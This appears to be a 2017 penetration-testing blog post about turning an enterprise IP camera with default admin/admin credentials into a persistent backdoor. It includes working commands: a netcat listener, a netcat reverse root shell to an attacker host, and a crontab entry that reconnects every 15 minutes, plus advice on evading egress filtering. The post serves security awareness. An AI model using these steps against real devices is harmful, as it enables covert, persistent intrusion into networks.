Last updated at Thu, 31 Aug 2017 14:04:26 GMT

Recently IP camera hacking has taken front stage in the news. Actually, hacking IP cameras is not all that new—it's been around for a number of years—but historically the focus has been related to gaining access to just the video portion of the camera. But with IP cameras being one of the many IoT technologies out there often found to be improperly secured, I figured it was time to look at the other side of the lens, so to speak.

It's important to note that in the following discussion, we're not leveraging any vulnerabilities; rather, we'll be using the device's default setting to demonstrate an attack and exploitation of an environment that we could expect to be carried out by a malicious actor. These insecure default settings and high-level functionality are typical of enterprise-grade cameras and are not specific to the IP camera we reference in this demonstration.

While working as a penetration tester over the last decade, I have encountered IP cameras improperly secured more times than not during security assessments. Unlike consumer-grade IP cameras, the enterprise-grade devices I often encounter during assessments have much more advanced capabilities and features, and, when deployed without following basic security best practices, can became a serious liability for any organization. As a security consultant I like to investigate the ways a malicious actor could leverage an IoT device, such as an IP camera, for the purpose of better informing my customers on the risk and impact.

That brings us to the key question: Can an IP camera be used as a persistent threat, allowing a malicious actor to continue to gain unrestricted access into their victims' network and allow exfiltration of compromised data?

Before we dive into a proof of concept of how that might happen, here are the points to keep in mind when deploying any kind of network-enabled device, including (but not limited to) an IP camera:

  • Have we done our due diligence in properly securing this technology?
  • Is it patched to the latest secure patch level?
  • Are default passwords disabled?
  • Is this device communicating to the Internet—and should it be?

Proof of Concept

So let's play this scenario in a little more detail. The example we are going to use is a high quality enterprise security camera system I once encountered while conducting an advanced network penetration assessment. In this case, no vulnerability will be used to gain access to this camera, as historically most IP cameras that we encounter are configured with default username and passwords, in this case admin/admin.

Pelco Sarix

Model Number: IX30DN
Firmware Version: 1.9.2.23-20141118-1.9080-A1.10722
Hardware Version: 9080-A1.5-12313

Like most IP cameras, management of these devices is accomplished via a web interface, which a user can login via a web browser over port 80 or 443 as show below in Figure 1:

Figure 1: Camera Web Interface Login

In this specific case, once logged in we find some interesting configuration options. The most critical of these is the ability to enable SSH and set the remote access password for the root account as shown below in Figure 2:

Figure 2: SSH Configuration

Once the SSH is enabled and password set, we can SSH into the device with root privileges (Figure 3) and start examining the device to see how it can be leveraged to launch further attack or be configured to allow persistent access into the organization internal network over the Internet.

Figure 3: SSH Login

Examination of the system shows that this specific device is using dropbear for SSH and, unfortunately for us, does not have dropbear dbclient installed. So creating an SSH reverse tunnel to the internet, as we discussed in the blog post Advanced Persistent Printer, is unlikely unless we cross compile dropbear for this ARM process and install the dbclient—which for this discussion I do not plan to do. I only plan to focus on what is available on the IP camera by default.

Upon further examination I did find Netcat available. This appears to be part of the standard busybox command suite. Netcat is often referred to as the TCP/IP Swiss Army Knife and has a number of features a malicious actor can leverage. As an example Netcat can be setup to create reverse connection over the Internet. By combining Netcat with crontab a malicious actor can insure their remote access is persistent, which allows them to maintain the ability to connect back in over the Internet at a later date. So let us explore this idea and how it can be set up.

First we start a Netcat listener on a host we control on the Internet. For this discussion I will refer to that host as “Controlbox” this is done using the following command:

  • nc -l -p 4444

In this example I am using the TCP port of 4444, but in reality a malicious actor would most likely use a port such 80 or 443 that could easily go unnoticed by network monitoring and most likely not be blocked by firewall egress filters.

Next run the following command on the IP camera device to establish the connection to the Internet host “controlbox”

  • nc controlbox 4444 -e /bin/bash

Note: The data communicated over this established Netcat session is not encrypted and can potentially be captured in cleartext by a network sniffer. I would not recommend communicating sensitive data without first encrypting it.

The -e switch causes bash to execute upon connection to Controlbox giving us a reverse shell to the IP camera from the Controlbox host with root privileges as shown below in Figure 4:

Figure 4: Reverse shell to IP Camera

Now that we have a reverse shell from the Internet to the device the next step is to configure the device to allow us to maintain this connection. In this case the IP Camera has crontab installed, which allows us to setup a script that can be execute at given time intervals to reestablish the reverse shell.

First create a script file with the following content (Figure 5) in the root users home folder /root/. In this case I named the file “revnc”.  This simple script has very little complexity, so when executed, if the Netcat listener on the Controlbox is not running or the connection to that listener port is already established this script will just exit with the error message “cannot connect to remote host (controlbox): Connection refused”. To silence this error message I redirected it to dev/null.

Figure 5: Netcat Execution Script

Next set this script to be executable with the following command:

  • chmod 700 revnc

Finally we need to add this script to the devices crontab so it executes at given intervals to reestablish my reverse shell back into the network. In this case I am going to set it to connect back every 15 minutes. To edit the crontab us the following command:

  • crontab -e

Once in crontab edit mode set the crontab to execute the script every 15 minutes by adding the following line to the crontab and save it.

  • 0,15,30,45 *  * *  * /root/revnc

Once saved run the following command to show the content of crontab to make sure it appears properly configured. It should look like Figure 6:

  • crontab -l

Figure 6: Crontab

So now with this script properly setup in crontab a malicious actor can easily come back at a later data, possibly days, weeks or even months later, start up a listener on their established controlbox and within 15 minutes have a reverse shell back into the network through the firewall (Figure 7):

Figure 7: Crontab executed reverse Netcat shell

So as you can see from this example a malicious actor does not need to control a standard Windows or Unix host to maintain a persistent foothold on a network. There are any number of possible embedded devices they can be used to maintain a foothold, launch attacks from or even exfiltrate data from your network. Including that innocuous IP camera, looking down at you.